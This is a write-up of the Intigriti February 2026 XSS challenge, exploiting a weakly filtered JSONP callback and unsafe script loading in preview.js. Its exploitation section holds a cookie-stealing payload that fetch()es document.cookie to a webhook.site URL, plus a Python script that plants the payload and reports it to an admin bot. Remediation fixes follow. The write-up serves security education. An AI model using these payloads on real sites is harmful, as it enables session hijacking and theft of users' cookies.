Intigriti February Challenge Writeup
Complete writeup for the Intigriti February 2026 Challenge - Exploiting DOM - XSS on JSONP callback
Intigriti February Challenge 0226 Writeup
Overview
This challenge involves exploiting a DOM based XSS on JSONP callback that chains two weaknesses: insufficient input sanitization in the JSONP endpoint and unsafe dynamic script loading in the client-side JavaScript. By combining these flaws, we can steal the admin bot’s cookies and capture the flag.
Vulnerability Description
The application contains a Stored XSS vulnerability that chains two weaknesses:
- Insufficient input sanitization in the JSONP endpoint (
/api/jsonp) - Unsafe dynamic script loading in the client-side JavaScript (
preview.js)
When combined, an attacker can inject arbitrary JavaScript that executes in the context of any user (including the admin bot) who views a malicious post.
Vulnerable Code Analysis
1. JSONP Endpoint - Weak Callback Filtering
File: app/app.py (Lines 215-233)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/api/jsonp')
def api_jsonp():
callback = request.args.get('callback', 'handleData')
if '<' in callback or '>' in callback:
callback = 'handleData'
user_data = {
'authenticated': 'user_id' in session,
'timestamp': time.time()
}
if 'user_id' in session:
user = User.query.get(session['user_id'])
if user:
user_data['username'] = user.username
response = f"{callback}({json.dumps(user_data)})"
return Response(response, mimetype='application/javascript')
Problem: The callback parameter only filters < and > characters, but allows all other JavaScript syntax including:
- Function calls:
fetch(),alert() - String concatenation:
+ - Property access:
document.cookie - Comments:
//
2. Unsafe Script Loading in Preview.js
File: app/static/js/preview.js (Lines 29-40)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function processContent(container) {
const codeBlocks = container.querySelectorAll('pre code');
codeBlocks.forEach(function(block) {
block.classList.add('highlighted');
});
const scripts = container.querySelectorAll('script');
scripts.forEach(function(script) {
if (script.src && script.src.includes('/api/')) {
const newScript = document.createElement('script');
newScript.src = script.src;
document.body.appendChild(newScript);
}
});
}
Problem: The function dynamically loads and executes any <script> tag with a src containing /api/. This allows loading the vulnerable JSONP endpoint with an attacker-controlled callback.
Exploitation
Proof of Concept - Test Payloads
Simple Alert Test
1
<script src="/api/jsonp?callback=alert(document.domain)//"></script>
Result: When viewing the post, an alert box displays challenge-0226.intigriti.io
Alert(1) Test
1
<script src="/api/jsonp?callback=alert(1)//"></script>
Result: Displays alert with “1”
Cookie Exfiltration (Full Exploit)
1
<script src="/api/jsonp?callback=fetch('https://webhook.site/c11da3ac-5a9f-4205-9e0c-335e68cb5402?c='+document.cookie)//"></script>
Result: Sends victim’s cookies to attacker’s webhook server
How the Payload Works
Given the payload:
1
<script src="/api/jsonp?callback=alert(document.domain)//"></script>
Post is created with this content stored in the database
Victim visits
/post/<id>preview.js executes and calls
processContent()on the rendered HTMLScript tag is found with
srccontaining/api/- New script is created and appended to document body:
1 2 3
const newScript = document.createElement('script'); newScript.src = "/api/jsonp?callback=alert(document.domain)//"; document.body.appendChild(newScript);
Browser requests
/api/jsonp?callback=alert(document.domain)//- Server returns:
1
alert(document.domain)//({"authenticated": true, "timestamp": 1234567890})
The
//comments out the rest of the line, leaving only:1
alert(document.domain)
- JavaScript executes in victim’s browser context
Automated Exploit Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
from bs4 import BeautifulSoup
from urllib.parse import quote
BASE_URL = "https://challenge-0226.intigriti.io"
USERNAME = "attacker"
PASSWORD = "password123"
WEBHOOK = "https://webhook.site/c11da3ac-5a9f-4205-9e0c-335e68cb5402"
session = requests.Session()
session.post(f"{BASE_URL}/register", data={"username": USERNAME, "password": PASSWORD})
session.post(f"{BASE_URL}/login", data={"username": USERNAME, "password": PASSWORD})
jsonp_payload = f"fetch('{WEBHOOK}?c='+document.cookie)//"
encoded_callback = quote(jsonp_payload, safe='')
payload = f'<script src="/api/jsonp?callback={encoded_callback}"></script>'
post = session.post(f"{BASE_URL}/post/new", data={"title": "Check this out!", "content": payload})
post_id = post.url.split("/post/")[-1]
session.post(f"{BASE_URL}/report/{post_id}")
print(f"Exploit delivered! Post ID: {post_id}")
Impact
An attacker can:
- Steal session cookies of any user who views the malicious post
- Hijack admin sessions by reporting the post to the admin bot
- Execute arbitrary JavaScript in the victim’s browser
- Access sensitive data visible to the victim
- Perform actions on behalf of the victim
Remediation
Fix 1: Sanitize JSONP Callback (app.py)
1
2
3
4
5
6
7
8
9
import re
@app.route('/api/jsonp')
def api_jsonp():
callback = request.args.get('callback', 'handleData')
if not re.match(r'^[a-zA-Z_][a-zA-Z0-9_]*$', callback):
callback = 'handleData'
Fix 2: Remove Dynamic Script Loading (preview.js)
1
2
3
4
5
6
7
function processContent(container) {
const codeBlocks = container.querySelectorAll('pre code');
codeBlocks.forEach(function(block) {
block.classList.add('highlighted');
});
}
Fix 3: Content Security Policy
Add a strict CSP header to prevent inline script execution:
1
Content-Security-Policy: script-src 'self'; object-src 'none';



